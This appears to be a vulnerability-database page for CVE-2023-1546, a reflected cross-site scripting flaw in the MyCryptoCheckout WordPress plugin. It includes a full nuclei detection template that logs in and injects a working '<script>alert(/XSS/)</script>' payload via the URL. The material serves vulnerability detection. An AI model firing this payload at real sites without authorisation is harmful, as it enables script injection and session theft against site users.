HexBrain

Browse / CVEs / CVE-2023-1546

CVE-2023-1546· plainviewplugins / mycryptocheckout· CWE-79

MyCryptoCheckout < 2.124 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.9%likelihood of exploitation, next 30 days
59%of all CVEs are less likely
Readycheck to confirm it

The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Fixed in version 2.124

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&"><script>alert(/XSS/)</script>
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "scriptalert(/XSS/)/script") and contains(body_2, "mycryptocheckout")

Run it with nuclei: nuclei -id CVE-2023-1546 -u <target>

The full check
id: CVE-2023-1546

info:
  name: MyCryptoCheckout < 2.124 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 2.124
  reference:
    - https://wpscan.com/vulnerability/bb065397-370f-4ee1-a2c8-20e4dc4415a0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1546
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1546
    cwe-id: CWE-79
    epss-score: 0.0085
    epss-percentile: 0.58475
    cpe: cpe:2.3:a:plainviewplugins:mycryptocheckout:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: plainviewplugins
    product: mycryptocheckout
    framework: wordpress
  tags: cve,cve2023,wordpress,wp,wp-plugin,xss,wpscan,authenticated,plainviewplugins,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&"><script>alert(/XSS/)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "scriptalert(/XSS/)/script")'
          - 'contains(body_2, "mycryptocheckout")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from